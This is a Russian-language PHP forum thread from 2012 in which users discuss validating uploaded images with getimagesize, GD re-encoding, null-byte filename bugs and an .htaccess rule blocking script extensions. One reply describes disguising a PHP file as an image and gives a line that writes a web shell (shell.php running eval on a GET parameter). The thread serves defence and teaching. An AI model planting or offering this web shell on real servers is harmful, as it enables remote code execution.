|
|
|
| Добрый день,
рассматриваю способы защиты загружаемых файлов на сервер.
Для начала написал вот такую простую проверку:
<?php
if($_POST['upload']) {
if($_FILES['images']['name'] != '') {
$upload_file_name = 'rnd_test';
$tmp_name = $_FILES['images']['tmp_name']; // tmp файл
$mime_type = $_FILES['images']['type']; // Content-Type
$size = $_FILES['images']['size']; // Размер
$getimagesize = getimagesize($tmp_name); // информация о файле изображения
if ($getimagesize == '' && $mime_type != 'image/gif' && $mime_type != 'image/jpeg' && $mime_type != 'image/png') {
// если нет информации от изображения и не сопадают type
$error = "<li>Неверный формат изображения! Доступные для загрузки форматы: *.gif *.jpg *.png</li>";
} elseif ($size > 1000000) {
$error = '<li>Объем файла изображения превышает 1 мегабайт.</li>';
} else {
if ($mime_type == 'image/gif') { $expansion = '.gif'; }
elseif ($mime_type == 'image/jpeg') { $expansion = '.jpg'; }
elseif ($mime_type == 'image/png') { $expansion = '.png'; }
else { $expansion = '';}
if($expansion != '') {
$upload_patch = "/upload/".$upload_file_name.$expansion;
move_uploaded_file($tmp_name, $upload_patch);
}
}
}
}
?>
|
как видно эта защита простая, порекомендуйте, что еще стоит учесть при проверке изображений? или достаточно getimagesize() ?
Может уменьшать изображение чтобы удалить текстовые метаданные если таковые имеются. | |
|
|
|
|
|
|
|
для: ZetRider
(04.05.2012 в 21:46)
| | >что еще стоит учесть при проверке изображений?
Для начала, это все таки прочесть, что же возвращает getimagesize(), и больше доверять типу возвращаемому этой функцией, чем $_FILES['images']['type'], которое может быть полной туфтой.
>или достаточно getimagesize() ?
А вы ее используете разве? | |
|
|
|
|
|
|
|
для: confirm
(05.05.2012 в 01:20)
| | confirm, прочитал еще раз про getimagesize как я и понимал ранее функция возвращает информацию об изображении.
Ведь если передать не изображение, функция ничего не вернет, соответственно переменная $getimagesize будет пуста и проверка уже провалена.
>> больше доверять типу возвращаемому этой функцией
Да спасибо, теперь код выгладит так:
<?php
if($_POST['upload']) {
if(!empty($_FILES['images']['name'])) {
$tmp_name = $_FILES['images']['tmp_name'];
$getimagesize = getimagesize($tmp_name);
$mime_type = $getimagesize['mime'];
$wh_mime = array(
'image/gif',
'image/jpeg',
'image/png'
);
if ( !in_array($mime_type,$wh_mime) ) {
$error = "<li>Неверный формат изображения! Доступные для загрузки форматы: *.gif *.jpg *.png</li>";
} else {
if ($mime_type == 'image/gif') { $expansion = '.gif'; }
elseif ($mime_type == 'image/jpeg') { $expansion = '.jpg'; }
elseif ($mime_type == 'image/png') { $expansion = '.png'; }
else { $expansion = '';}
if($expansion != '') {
$upload_patch = "/upload/test_file".$expansion;
move_uploaded_file($tmp_name, $upload_patch);
}
}
}
}
?>
|
Выходит тип файла невозможно подменить если мы проверяем его через функцию getimagesize ?
По поводу текстовых метаданных думаю можно не беспокоится т.к. расширение файла прописывается скриптом?
deimand, вырезал, попробовал залить через проверку с кодом выше, не загрузилось. Спасибо. | |
|
|
|
|
|
|
|
для: ZetRider
(05.05.2012 в 08:28)
| | Если передать не изображение, то функция возвращает NULL, следовательно проверка getimagesize() == '', это что-то от извращения. Но учтите, что и заголовок файла можно подделать.
Вот это
<?
$wh_mime = array(
'image/gif',
'image/jpeg',
'image/png'
);
if ( !in_array($mime_type,$wh_mime) )
|
зачем? | |
|
|
|
|
|
|
|
для: confirm
(05.05.2012 в 10:36)
| | Тогда как быть если можно подделать заголовок файла? Выходит проверка mime getimagesize не так уж и надежна?
>>зачем?
проверка допустимых типов файла | |
|
|
|
|
|
|
|
для: ZetRider
(05.05.2012 в 10:43)
| | Ну если вы ограничиваете только этими тремя типами, тогда да. Хотя, если разрешены все поддерживаемые, включая и для мобильных платформ, то проще исключать TIFF. Хотя и его можно оставить, переконвертировав в браузерный формат.
В мире все зыбко, и getimagesize тоже не стопроцентная гарантия. Если кроме загрузки предполагается и обработка файлов, как-то изготовление превьюшек, и т.п., то лучшим методом будет считывание изображения в строку, а потом создание изображения из строки. В этом случае GD проверит изображение ли это, да и мусор выбросит.
Что касается имен файлов при загрузке, то найдите в сети и прочтите о баге null байта.
Кстати, загрузку надо начитать не с этого, а с проверки ошибок загрузки, и если их нет, только потом вся ваша проверка. | |
|
|
|
|
|
|
|
для: ZetRider
(04.05.2012 в 21:46)
| | Откройте любую нормальную картинку с помощью блокнота или другого текстового редактора. Вырежьте из нее символы ? и %. Сохраните с расширением php и попробуйте загрузить на сайт. Если получится, то защиты от выполнения php-скрипта нет.
А чтобы сделать каку, допишите в конец получившегося файла что-нибудь типа:
<?php
file_put_contents('shell.php', '<?php @eval($_GET["shell"]);')
|
Теперь просто подставьте адрес картинки в тег img и посмотрите на нее в браузере.
Не использовать в корыстных целях! | |
|
|
|
|
|
|
|
для: deimand
(05.05.2012 в 02:43)
| | Думаю в папку upload не помешает оставить файлик .htaccess с кодом вроде:
<FilesMatch "\.(php|cgi|pl|php3|php4|php5|php6|phps|phtml|shtml|py)$">
Order allow,deny
Deny from all
</FilesMatch>
| ? | |
|
|
|
|
|
|
|
для: ZetRider
(04.05.2012 в 21:46)
| |
<?php
if ($mime_type == 'image/gif') { $expansion = '.gif'; }
elseif ($mime_type == 'image/jpeg') { $expansion = '.jpg'; }
elseif ($mime_type == 'image/png') { $expansion = '.png'; }
// можно заменить одной строкой
list(,$ext) = explode('/', $mime_type);
// если расширение jpeg не нравится
// $ext = $ext == 'jpeg' ? 'jpg' : $ext;
// или так
$mime_type = str_replace('jpeg', 'jpg', $mime_type);
ist(,$ext) = explode('/', $mime_type);
|
| |
|
|
|